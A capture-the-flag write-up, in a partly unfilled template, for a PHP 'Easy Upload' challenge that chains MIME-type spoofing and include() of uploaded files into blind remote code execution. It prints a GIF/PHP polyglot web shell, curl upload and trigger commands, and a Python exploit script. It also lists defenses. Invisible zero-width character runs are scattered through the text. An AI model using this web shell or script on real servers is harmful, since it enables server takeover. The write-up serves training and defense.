← Back to Writeups
HTBN/AWeb

Easy Upload

XESXOR8/23/20265 min read
#web#htb#n/a

Easy Upload

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-04 | Status: Solved Techniques: Blind RCE with file-based output exfiltration, GIF polyglot creation (valid GIF header + PHP code), LFI via PHP include() function, MIME type bypass via Content-Type header spoofing

Summary

Task: Web "Easy Upload" — simple file upload. Solution: Basic file upload bypass, extension filtering circumvention.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260104_hackerlab_easy_upload
  • Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload
  • Indicators: PHP include() function processing uploaded files, MIME type validation only (no magic bytes check), ob_start() capturing output (blind execution), Avatar/image upload functionality, Source code provided revealing vulnerability chain
  • Source: 20260104_hackerlab_easy_upload.md

Foothold

Vulnerability / Misconfiguration

  1. Blind RCE with file-based output exfiltration
  2. GIF polyglot creation (valid GIF header + PHP code)
  3. LFI via PHP include() function
  4. MIME type bypass via Content-Type header spoofing
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • Blind RCE with file-based output exfiltration
  • GIF polyglot creation (valid GIF header + PHP code)
  • LFI via PHP include() function
  • MIME type bypass via Content-Type header spoofing
  • Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload

Original Writeup

<details><summary>Click to expand original content</summary>

Challenge Description

Недавно наткнулся на странный сервис для хранения фотографий. Вроде бы ничего необычного - можно загружать картинки и менять тему оформления. Но что-то подсказывает, что не всё так просто, как кажется на первый взгляд...

Translation: "Recently stumbled upon a strange photo storage service. Nothing unusual - you can upload images and change the theme. But something tells me it's not as simple as it seems..."

Analysis

Source Code Review

The challenge provided source code. Key vulnerability was in UserProfile.php: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

public function loadAvatar() {
    $avatarPath = "uploads/" . $this->avatar;
    
    if (file_exists($avatarPath)) {
        if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) {
            ob_start();
            include($avatarPath);  // LFI vulnerability!
            $output = ob_get_clean();
            return null;
        }
    }
}

Critical Issue: The include() function executes PHP code inside uploaded files, even if they have image extensions.

Upload Validation Weakness

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The upload validation in upload.php only checks MIME type from the HTTP header:

$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowed_types)) {
    die("Invalid file type");
}

Problem: MIME type is client-controlled and easily spoofed. No server-side magic bytes validation.

Blind RCE Challenge

The ob_start() and ob_get_clean() capture all output, making this a blind RCE - we can execute code but can't see the output directly.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Register and Login

Get a valid session cookie for authenticated requests.

Step 2: Create GIF Polyglot

Create a file that is both a valid GIF and contains PHP code:

printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>' > shell.gif

Breakdown:

  • GIF89a - Valid GIF header (magic bytes)
  • \x01\x00\x01\x00... - Minimal 1x1 pixel GIF structure
  • <?php ... ?> - PHP code appended after GIF data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Upload the Shell

Upload with correct MIME type to bypass validation:

curl -s http://target/upload.php \
    -b cookies.txt \
    -X POST \
    -F "avatar=@shell.gif;type=image/gif"

Step 4: Trigger RCE

Since output is captured by ob_start(), we write results to a file:

# Execute command and write output to file
curl -s "http://target/index.php?c=cat+/fl4g.txt" -b cookies.txt

# Read the exfiltrated output
curl -s "http://target/uploads/out.txt"

Step 5: Get Flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Flag was located in /fl4g.txt:

CODEBY{REDACTED}

Exploit Script

#!/usr/bin/env python3
import requests

TARGET = "http://target"
s = requests.Session()

# 1. Register and login
s.post(f"{TARGET}/register.php", data={"username": "test", "password": "test"})
s.post(f"{TARGET}/login.php", data={"username": "test", "password": "test"})

# 2. Create GIF polyglot
gif_header = b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;'
php_code = b'<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>'
polyglot = gif_header + php_code
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 3. Upload
files = {'avatar': ('shell.gif', polyglot, 'image/gif')}
s.post(f"{TARGET}/upload.php", files=files)

# 4. Trigger RCE
s.get(f"{TARGET}/index.php", params={"c": "cat /fl4g.txt"})

# 5. Read output
flag = s.get(f"{TARGET}/uploads/out.txt").text
print(f"Flag: {flag}")

Key Takeaways

Vulnerability Chain

  1. Weak Upload Validation - MIME type only, no magic bytes check
  2. Dangerous include() - Executes PHP in any included file
  3. Blind RCE - Output buffering requires file-based exfiltration ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense Recommendations

  1. Validate magic bytes server-side, not just MIME type
  2. Never use include() on user-uploaded files
  3. Use readfile() or file_get_contents() for serving files
  4. Store uploads outside webroot with randomized names
  5. Disable PHP execution in upload directories via .htaccess

Key Indicators for This Attack

  • include() or require() on uploaded files
  • MIME-only validation without magic bytes check
  • Image upload functionality with PHP backend
  • Output buffering (ob_start()) suggesting blind execution ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR